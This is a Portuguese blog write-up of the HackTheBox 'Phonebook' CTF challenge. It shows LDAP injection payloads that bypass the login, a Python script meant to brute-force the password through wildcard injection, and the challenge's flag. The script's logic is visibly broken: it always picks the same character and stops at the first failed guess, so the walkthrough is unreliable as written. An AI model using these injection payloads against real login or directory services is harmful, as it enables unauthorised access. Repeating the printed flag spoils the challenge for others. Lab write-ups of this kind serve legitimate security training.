Pentest | TechCruz #keepsecurity

Office Address

123/A, Miranda City Likaoli
Prikano, Dope

Phone Number

+0989 7876 9865 9
+(090) 8765 86543 85

HackTheBox - Phonebook

HackTheBox - Phonebook

  • Jul 21, 2023
  • Douglas Cruz by Douglas Cruz
  • HTB

# Informações sobre o Desafio

CreatorChallenge WebPointsFlag
vajkdryPhonebook30HTB{d1rectory_h4xx0r_is_k00l}

# Ferramentas Utilizadas

# Vulnerabilidade Encontrada

LDAP Injection
OWASPPortSwiggerCWE-90 : CWE-116CAPEC-136GitHub

# Bora para o ToDo

1 -  Através do navegador acesse o IP gerado pelo HTB, neste exemplo : http://104.248.173.13:32327/login

Observe a dica na página de login :

  • Inglês : New (9.8.2020): You can now login using the workstation username and password! - Reese
  • Português : Novo (9.8.2020): Agora você pode fazer login usando o nome de usuário e a senha da estação de trabalho! - Reese

2  - Informe um * (asterisco) nos campos de Usuário e Senha, e clique em Login.

3 - Uma alternativa de bypass no login seria processar a seguinte consulta no back-end :

Neste caso a consulta LDAP seria desta forma :

(&(username= *)(& )(password= *)(& ))

Informe os caracteres *)(& nos campos de Usuário e Senha, e clique em Login.

4 - No campo Search pesquise pela letra A para exibir todos os resultados.

5 - Para obtermos a Flag é necessário realizar um ataque de Brute Force. *Lembre-se de trocar o IP contido no script.

exploit-htb_phonebook.py

import requests
import string
headers = {"UserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0"}
url = "http://104.248.173.13:32327/login"
chars = string.ascii_letters + string.digits + "`~!@#$%^&-_'"
flag = "HTB{"
password = flag + chars[0] + "*"
while True:
    print(f"Trying: {password}")
    data = {"username": "Reese", "password": password}
    response = requests.post(url, headers=headers, data=data)
    if response.url!= url + "?message=Authentication%20failed":
        flag += chars[password.count("*")]
        password = flag + chars[password.count("*") + 1] + "*"
    else:
        break
print(f"Flag: {flag + '}'}")

 

6 - Informe os dados :

  • Usuário : Reese
  • Senha : HTB{d1rectory_h4xx0r_is_k00l}


 

Curtiu?
Compartilhe

Share: